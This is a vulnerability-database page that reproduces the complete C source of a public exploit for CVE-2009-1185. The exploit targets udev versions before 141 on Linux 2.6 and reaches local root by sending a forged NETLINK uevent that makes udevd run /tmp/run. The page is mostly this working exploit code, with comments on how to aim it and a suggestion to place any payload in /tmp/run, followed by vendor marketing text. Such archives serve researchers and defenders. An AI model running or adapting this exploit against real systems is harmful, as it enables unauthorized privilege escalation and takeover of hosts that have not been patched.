Lucene search
K

Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit

🗓️ 01 May 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 54 Views

Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploi

Related
Code

                                                /*
 * cve-2009-1185.c
 *
 * udev &lt; 141 Local Privilege Escalation Exploit
 * Jon Oberheide &lt;[email protected]&gt;
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *
 *   udev before 1.4.1 does not verify whether a NETLINK message originates 
 *   from kernel space, which allows local users to gain privileges by sending 
 *   a NETLINK message from user space.
 *
 * Notes:
 *   
 *   An alternate version of kcope's exploit.  This exploit leverages the 
 *   95-udev-late.rules functionality that is meant to run arbitrary commands 
 *   when a device is removed.  A bit cleaner and reliable as long as your 
 *   distro ships that rule file.  The exploit will execute /tmp/run as root 
 *   so throw whatever payload you want in there.
 *
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, 
 *   usually is the udevd PID minus 1) as argv[1].
 */

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;linux/types.h&gt;
#include &lt;linux/netlink.h&gt;

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
	int sock;
	char *mp;
	char message[4096];
	struct msghdr msg;
	struct iovec iovector;
	struct sockaddr_nl address;

	memset(&amp;address, 0, sizeof(address));
	address.nl_family = AF_NETLINK;
	address.nl_pid = atoi(argv[1]);
	address.nl_groups = 0;

	msg.msg_name = (void*)&amp;address;
	msg.msg_namelen = sizeof(address);
	msg.msg_iov = &amp;iovector;
	msg.msg_iovlen = 1;

	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
	bind(sock, (struct sockaddr *) &amp;address, sizeof(address));

	mp = message;
	mp += sprintf(mp, &quot;a@/d&quot;) + 1;
	mp += sprintf(mp, &quot;SUBSYSTEM=block&quot;) + 1;
	mp += sprintf(mp, &quot;DEVPATH=/dev/foo&quot;) + 1;
	mp += sprintf(mp, &quot;TIMEOUT=10&quot;) + 1;
	mp += sprintf(mp, &quot;ACTION=remove&quot;) +1;
	mp += sprintf(mp, &quot;REMOVE_CMD=/tmp/run&quot;) +1;

	iovector.iov_base = (void*)message;
	iovector.iov_len = (int)(mp-message);

	sendmsg(sock, &amp;msg, 0);

	close(sock);

	return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation